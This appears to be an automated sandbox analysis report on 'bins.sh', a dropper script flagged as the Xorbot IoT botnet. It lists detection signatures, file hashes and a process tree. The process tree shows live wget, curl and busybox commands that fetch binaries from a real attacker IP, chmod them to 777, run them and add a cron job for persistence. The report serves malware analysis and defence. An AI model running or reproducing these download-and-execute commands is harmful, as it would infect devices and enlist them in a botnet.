Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 12:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    190e6507e4a3dcd6b4508c2b85bf651e

  • SHA1

    1e115fc1b223bbb586a8fd07e179303365f58719

  • SHA256

    98e186433c1f97db494e03c17ebe6d5d9212bdb42cfa6c2227d57bd22922ff1f

  • SHA512

    5f6afb085a5a5a421cc11c81e42f23150724a91df3078252a5d28fe9b98a5547411b3d62d7ef7a4d1e3358f9fd8c46633f8452abe0da455c8a0ec9b42b152bfb

  • SSDEEP

    96:bF5lteaknj9njGknj1jCjyjXj3j7uOCr997qmufsKYDPJ5lKknj9njGknj1jCjyV:bHeakn5nCknBOmTaDn5nCknBOmV

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1985) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Writes file to tmp directory
          PID:667
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:681
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Writes file to tmp directory
          PID:689
        • /bin/chmod
          chmod 777 Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • File and Directory Permissions Modification
          PID:691
        • /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          ./Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
          • Executes dropped EXE
          PID:692
        • /bin/rm
          rm Vugc20skpjlfDkPWPu5ths7zFkE71flXrP
          2⤵
            PID:695
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Writes file to tmp directory
            PID:696
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:697
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • File and Directory Permissions Modification
            PID:703
          • /tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            ./Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:705
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:708
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:709
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:710
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:712
                • /bin/rm
                  rm Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK
                  2⤵
                    PID:716
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                    2⤵
                      PID:719
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                      2⤵
                        PID:721
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • Writes file to tmp directory
                        PID:754
                      • /bin/chmod
                        chmod 777 mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:811
                      • /tmp/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        ./mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                        • Executes dropped EXE
                        PID:813
                      • /bin/rm
                        rm mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP
                        2⤵
                          PID:815
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                          2⤵
                            PID:817
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                            2⤵
                              PID:818
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • Writes file to tmp directory
                              PID:821
                            • /bin/chmod
                              chmod 777 ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • File and Directory Permissions Modification
                              PID:824
                            • /tmp/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              ./ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                              • Executes dropped EXE
                              PID:825
                            • /bin/rm
                              rm ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK
                              2⤵
                                PID:828
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                2⤵
                                  PID:830
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                  2⤵
                                    PID:834
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:836
                                  • /bin/chmod
                                    chmod 777 UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:840
                                  • /tmp/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    ./UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                    • Executes dropped EXE
                                    PID:842
                                  • /bin/rm
                                    rm UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX
                                    2⤵
                                      PID:843
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                      2⤵
                                        PID:845
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                        2⤵
                                          PID:846
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:848
                                        • /bin/chmod
                                          chmod 777 5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:858
                                        • /tmp/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          ./5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                          • Executes dropped EXE
                                          PID:859
                                        • /bin/rm
                                          rm 5dzewRfASBmxnbWDmlluuauhpm4snZs4ut
                                          2⤵
                                            PID:861
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                            2⤵
                                              PID:863
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                              2⤵
                                                PID:865
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:866
                                              • /bin/chmod
                                                chmod 777 TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:871
                                              • /tmp/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                ./TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                • Executes dropped EXE
                                                PID:872
                                              • /bin/rm
                                                rm TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO
                                                2⤵
                                                  PID:873
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/ASZx74fat7u85T1z3aG8bMbN83SgiW0rvo
                                                  2⤵
                                                    PID:874

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/5dzewRfASBmxnbWDmlluuauhpm4snZs4ut

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/Cxu5XBR1K16gfDeS0SUnpUBzpWwIYpPtrK

                                                  Filesize

                                                  127KB

                                                  MD5

                                                  89077b7bd4bcafca7713be43635c4862

                                                  SHA1

                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                  SHA256

                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                  SHA512

                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                • /tmp/TW2pMI2lGPPPR6ghFMF6pjcccjsIoMuqFO

                                                  Filesize

                                                  141KB

                                                  MD5

                                                  3ca8decdb1e52c423c521bfff02ac200

                                                  SHA1

                                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                  SHA256

                                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                  SHA512

                                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                • /tmp/UQ2uU4WyIru80oDu5x4UVXU7bJRT7MrOhX

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/Vugc20skpjlfDkPWPu5ths7zFkE71flXrP

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /tmp/mhpv3X0hH00ggqh1ZkzAAYZn7qQpe6K0dP

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  701e7a55a4f3650f5feee92a9860e5fc

                                                  SHA1

                                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                  SHA256

                                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                  SHA512

                                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                • /tmp/ukowVcZaowoCMcqnuoqEXyttZ7tVLmzHvK

                                                  Filesize

                                                  111KB

                                                  MD5

                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                  SHA1

                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                  SHA256

                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                  SHA512

                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                • /var/spool/cron/crontabs/tmp.YigTfD

                                                  Filesize

                                                  210B

                                                  MD5

                                                  d133c4f82a682b3e5b10fcf140f2cb5a

                                                  SHA1

                                                  a4ac27ea7a776d3a99686c85618ecce833cc71b3

                                                  SHA256

                                                  e70328fa9581469224352cdbacc8e95284494a93599400b75285093cbe507149

                                                  SHA512

                                                  8283238378ff4cfa1c74a151141d3c04ac9a3dc6a886236053bb93c2fef231d2fcb0499eb274166331a3ea7dfbdd2f51bac68586d16838787aadf1e8fc409774